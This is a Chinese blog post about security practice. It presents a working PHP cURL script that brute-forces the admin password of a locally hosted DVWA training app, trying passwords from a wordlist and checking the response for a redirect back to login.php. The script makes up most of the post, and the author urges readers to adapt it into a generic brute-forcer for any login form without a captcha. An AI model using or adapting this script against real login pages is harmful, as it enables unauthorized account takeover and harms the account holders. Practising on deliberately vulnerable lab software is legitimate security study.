正在阅读:

CURL单线程破解DVWA登陆密码

7,467

最近想研究一下PHP的多线程,就到处找资料看,发现网上的大部分都是利用curl多线程来抓取网页信息,采集之类的,作为安全研究的小菜呢,只想利用curl来进行暴力破解表单而已,这里先使用curl单线程来破解一下我之前汉化的dvwa程序的登陆密码。

先来科普一下,可能部分人不知道DVWA。

DVWA是国外大牛写的一个漏洞测试平台,类似于OWASP的WebGoat平台,但是DVWA更简单,适合于web安全研究新手使用,平台集合了sql注入,xss,上传,文件包含等等功能,原版是英文的,为了国内安全人员使用,我就把它进行了汉化,并且由好朋友ay暗影打包成了安装版,可以实现安装好以后就可以使用,不用再安装IIS+PHP的环境,十分方便。

安信华web弱点测试系统V1.1版-附汉化版源码下载:

http://www.waitalone.cn/anchiva-dvwa.html

今天这篇文章并非来介绍DVWA的,真正的目的是下面的使用CURL破解dvwa登陆密码,代码如下:

<?php
/**
 * Created by 独自等待
 * Date: 14-3-02
 * Time: 下午9:22
 * Name: curl_single_crack.php
 * 独自等待博客:http://www.waitalone.cn/
 * 参考信息:
 * http://www.php.net/manual/zh/function.curl-multi-init.php
 * http://www.searchtb.com/2012/06/rolling-curl-best-practices.html
 * http://www.nowamagic.net/librarys/veda/detail/124
 */
print_r('
+------------------------------------------------------+
              CURL单线程破解DVWA登陆密码
             Site:http://www.waitalone.cn/
                Exploit BY: 独自等待
                  Time:2014-03-02
+------------------------------------------------------+
');
if (!extension_loaded('curl')) {
    exit('请开启CURL扩展,谢谢!');
}
$passwords = file('password.txt');
$url = 'http://localhost/dvwa/login.php';
foreach ($passwords as $pass) {
    $pass = trim($pass);
    $post = "username=admin&password=$pass&Login=%E7%99%BB%E9%99%86";
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_HEADER,1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_POST,1);
    curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
    $data = curl_exec($ch);
    curl_close($ch);
    if(preg_match('/login.php/i',$data)){
        echo '密码破解中,当前破解的密码为:' . $pass . "\n";
    }else{
        echo '恭喜大爷,密码破解成功!正确密码为:' . $pass . "\n";
        exit;
    }
}
?>

原理很简单的,就是使用curl提交post数据包,然后判断返回的头信息里面是否有Location: login.php字符,如果有说明密码不正确,反之正确。

CURL单线程破解DVWA登陆密码

大家也可以拿这个脚本改改,改成通用的破解没有验证码的登陆表单,下篇文章我将给大家介绍使用CURL多线程破解DVWA登陆密码,请期待多线程版本。

目前有:0条访客评论

    留下脚印,证明你来过。

    *

    *

    流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌